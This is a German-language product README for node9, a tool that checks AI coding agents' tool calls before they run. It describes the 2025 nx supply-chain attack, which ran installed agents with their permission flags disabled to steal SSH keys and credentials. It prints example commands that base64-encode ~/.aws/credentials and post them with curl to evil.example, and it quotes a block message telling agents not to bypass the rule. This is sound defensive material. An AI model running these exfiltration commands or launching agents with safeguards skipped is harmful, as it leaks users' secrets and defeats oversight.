🛡️ node9

IAM für deine KI-Agenten

Deine KI-Agenten erreichen Slack, GitHub, E-Mail und deine Datenbank.
node9 entscheidet, was sie mit jedem einzelnen davon tun dürfen.

Credential Jail · Secrets und PII · destruktives Git, SQL und Shell zur Überprüfung angehalten · MCP-Tool-Pinning · Network-Egress-Allowlist · Loop Breaker · ein Datensatz über zwölf Agenten hinweg

Funktioniert mit Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · jedem MCP-Server.

Wie es aussieht

Dein Agent links, node9 rechts. Jeder Tool-Aufruf, den der Agent macht, wird vor der Ausführung geprüft: erlaubt und protokolliert, für deine Genehmigung angehalten oder blockiert. Der Agent hier wurde mit --dangerously-skip-permissions gestartet, und node9 entscheidet trotzdem.

node9 monitor: live tool calls, decisions, shields and score

Installation

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Dann in jedem Projekt:

node9 init       # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Erfordert Node.js 22+.

init ist das ganze Produkt. Es schreibt die Hooks, aktiviert das Credential Jail und die Always-on-Regeln und beginnt sofort mit der Durchsetzung. Nichts verlässt die Maschine und es wird kein Konto benötigt.

login fügt der Durchsetzung nichts hinzu. Es verbindet die Maschine mit einem Workspace, damit ein Team einen Datensatz über alle Laptops und CI-Systeme hinweg sehen, Richtlinien zentral festlegen und angehaltene Aktionen über ein Dashboard oder Slack genehmigen kann. Überspringe es, und node9 funktioniert genau gleich, allein, offline. node9 logout trennt die Verbindung wieder und die lokale Durchsetzung läuft weiter.

Das Problem

Im August 2025 lieferten kompromittierte Releases des nx-Build-Tools ein Post-Install-Skript aus, das nach bereits auf dem Entwicklerrechner installierten KI-Coding-Agenten suchte und sie dann mit deaktivierten eigenen Sicherheits-Flags (--dangerously-skip-permissions, --yolo, --trust-all-tools) ausführte, um SSH-Schlüssel, Cloud-Credentials und Wallet-Dateien aufzulisten und die Liste auf die Festplatte zu schreiben. Das Skript lud die Ergebnisse in öffentliche Repositories innerhalb der eigenen GitHub- Konten der Opfer hoch. Mehr als tausend gültige GitHub-Tokens gelangten an die Öffentlichkeit, zusammen mit Cloud-Credentials, npm- Tokens und rund 20.000 Dateien, von Maschinen, auf denen der Agent genau das tat, was ihm gesagt wurde.

Der Agent war nicht der Angreifer. Der Agent war das Werkzeug, und nichts stand zwischen ihm und den Dateien. Das Gate von node9 ist keines dieser Flags: es läuft im Hook, und eine Aktion, die es anhält, bleibt angehalten, selbst wenn der Agent mit übersprungenen Berechtigungen gestartet wurde.

Was node9 dagegen tut

node9 sitzt zwischen dem Agenten und jedem Tool, das er aufruft. Das Credential Jail (~/.ssh, ~/.aws, .env-Dateien, private Schlüssel) ist standardmäßig aktiv, und ein Lesezugriff auf einen dieser Pfade wird nicht ausgeführt. Der Agent wird gestoppt, ihm wird der Grund mitgeteilt, und die Entscheidung kommt zu dir:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

Der Befehl wird als Shell-AST geparst, nicht als Text abgeglichen, daher hilft es nicht, den Lesezugriff zu verpacken. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example wird als Lesezugriff auf ~/.aws/credentials beurteilt, nicht als echo.

node9 ist ein Gate. Eine angehaltene Aktion wird nicht ausgeführt, während sie auf dich wartet, und wenn du nie antwortest, bleibt sie blockiert. Alles andere ist erlaubt und wird im Datensatz festgehalten.

Was es nicht tut: Bei deaktivierter Egress-Kontrolle, was der Standard ist, wird ein Befehl, der eine Datei direkt ins Netzwerk übergibt, wie etwa curl -d @~/.aws/credentials, nicht als Lesezugriff auf diese Datei behandelt. node9 egress protect gated auch Ziele, und es deckt nur Shell-Befehle ab.

Überprüfe es selbst

Nichts unten benötigt ein Konto, und nichts wird hochgeladen.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

Was es regelt

Jede Zeile ist eine Fähigkeit, mit der Seite, die sie dokumentiert. Die Docs sind die Referenz; diese Datei ist die Karte.